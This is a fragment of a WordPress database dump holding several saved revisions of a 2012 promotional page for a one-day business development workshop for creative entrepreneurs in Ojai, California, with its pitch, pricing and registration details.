(1980, 2, '2012-03-01 16:29:14', '2012-03-01 23:29:14', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location on how confirm your spot. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:29:14', '2012-03-01 23:29:14', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-114/', 0, 'revision', '', 0),
(1979, 2, '2012-03-01 16:23:46', '2012-03-01 23:23:46', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<strong>Without sales there is no business.</strong>\r\n\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location on how confirm your spot. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:23:46', '2012-03-01 23:23:46', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-113/', 0, 'revision', '', 0);
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(1981, 2, '2012-03-01 16:30:56', '2012-03-01 23:30:56', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">Without sales there is no business</span><strong>.</strong></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location on how confirm your spot. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:30:56', '2012-03-01 23:30:56', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-115/', 0, 'revision', '', 0),
(1982, 2, '2012-03-01 16:31:25', '2012-03-01 23:31:25', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely on referrals for the growth of their business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn  greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location on how confirm your spot. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:31:25', '2012-03-01 23:31:25', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-116/', 0, 'revision', '', 0),
(1983, 2, '2012-03-01 16:34:08', '2012-03-01 23:34:08', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off ($400) for each additional person in your firm.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of event opening. Substitutes, with notification, are allowed at any time.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Registration and Enrollment</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location on how confirm your spot. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:34:08', '2012-03-01 23:34:08', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-117/', 0, 'revision', '', 0),
(1984, 2, '2012-03-01 16:44:51', '2012-03-01 23:44:51', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 1, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 1, 2012.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a> and we’ll get right back to you with the full information on the venue location on how confirm your spot in early registration prior to April 1, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:44:51', '2012-03-01 23:44:51', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-118/', 0, 'revision', '', 0),
(1985, 2, '2012-03-01 16:48:19', '2012-03-01 23:48:19', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 1, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 1, 2012.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 1, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:48:19', '2012-03-01 23:48:19', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-119/', 0, 'revision', '', 0),
(1986, 2, '2012-03-01 16:49:29', '2012-03-01 23:49:29', '<h2><strong>White Hot Center Presents\r\nThe Quantum Leap\r\nBusiness Development Workshop</strong><strong><span style="color: #dd9703;">\r\nCreating Competitive</span>\r\n<span style="color: #dd9703;"> Advantage in your Creative Business\r\n<span style="color: #000000;">June 15, 2012</span></span>\r\nOjai, California\r\n</strong></h2>\r\n<strong>Facilitated by Thomson Dawson\r\nBusiness Development Consultant to Creative Entrepreneuers\r\n</strong>\r\n\r\n<img class="alignnone size-full wp-image-1965" title="WHC-Quantum" src="http://whc.fbdev.org/wp-content/uploads/2009/04/WHC-Quantum.jpg" alt="" width="490" height="363" />\r\n\r\n<span style="color: #333333;"><strong><a href="http://youtu.be/ZhBhjF7ocW0" target="_blank"><img class="alignnone size-full wp-image-1897" title="thomson" src="http://whc.fbdev.org/wp-content/uploads/2009/04/thomson.jpg" alt="" width="495" height="278" /></a></strong></span>\r\n<h2>A one-day intensive strategic business development workshop designed to help early stage creative entrepreneurs and solo professionals build a solid foundation for marketing and sales success that will enable them to achieve a quantum leap in the growth of their creative business.</h2>\r\n<h1></h1>\r\n<h1><span style="color: #808080;">Without sales there is no business</span><span style="color: #808080;"><strong>.</strong></span></h1>\r\nIf you’re a self-employed creative professional, whether flying solo or leading your small creative firm, you know the importance of having a steady stream of clients and projects coming your way. The truth is many early-stage creative professionals struggle finding a steady stream of higher value clients. Many more resist the sales process altogether opting to rely only on referrals for new business.\r\n\r\nReferrals are critically important, but they’re unpredictable– not enough to grow your business with sustainable, profitable results. To succeed in the hyper-competitive creative business today, you must embrace business development and sales as <strong>the essential</strong> <strong>skill</strong> for your business success. And you need <strong>a plan to guide your actions</strong>, if you are to turn greater possibilities into achievement.\r\n\r\n<strong>Clients have abundant choice.\r\nThere is no shortage of creative talent in the marketplace.</strong>\r\n\r\nLet’s face it, when clients have abundant choice, competition is always fierce. How do you, a creative entrepreneur, gain radical advantage over would-be competitors in an ultra-competitive marketplace?\r\n\r\nHow do you find the right clients who are a perfect fit for you? How do you differentiate your business from alternatives to your firm in ways that matter to your clients? How do you command premium prices and greater profit margins when everyone else is discounting their fees just to get the gig?\r\n\r\nHow do you create more opportunity than you have capacity so you can be choosy about who you work with, and what you type of projects you’ll work on?\r\n\r\nIf you’re serious about the growth and success of your creative business you’ll need to be able to have answers to these important questions.\r\n<h2><strong></strong>Take a quantum leap in your business development success. Spend one important day working on your creative business rather than in it. Spend one day building a solid framework and foundation for your business development and sales success. Spend one day innovating your bigger, better future.</h2>\r\n<strong>Who should attend?</strong>\r\nWe’ve developed this foundational business development workshop for all early-stage self-employed creative professionals including: graphic designers, web /apps developers, content creators, writers, social media professionals, illustrators, animators, photographers, producers and composers–just about anyone in the business of creative output for hire.\r\n\r\n<strong>The Investment:</strong>\r\n$600.00 USD per person\r\nSpecial discount of $100 off for early registration prior to April 1, 2012\r\nAddirtional discount of $50 off for each additional person in your firm prior to April 1, 2012.\r\nTuition must be paid 30 days in advance of the Workshop. No refunds or credits within 14 days of the workshop.\r\n\r\nTuition includes Workshop Materials, Continental Breakfast, Luncheon and Snacks served throughout the day at the venue.\r\n\r\n<strong>This workshop is limited to 24 participants.</strong>\r\n<h1><span style="color: #888888;">Early Registration\r\n</span></h1>\r\nSend an <strong><a href="mailto://thomson@whitehotcenter.com" target="_blank">email</a></strong> and we’ll get right back to you with the full information on the venue location, accomodations, and how confirm your spot in early registration prior to April 1, 2012. This workshop has limited capacity and will fill up quickly.\r\n<strong>Register Now and Save!</strong>', 'Hot Info to Grow On!', 0, '', 'inherit', 'open', 'open', '', '145-revision-v1', '', '', '2012-03-01 16:49:29', '2012-03-01 23:49:29', '', 145, 'http://www.whitehotcenter.com/2012/03/145-revision-120/', 0, 'revision', '', 0),
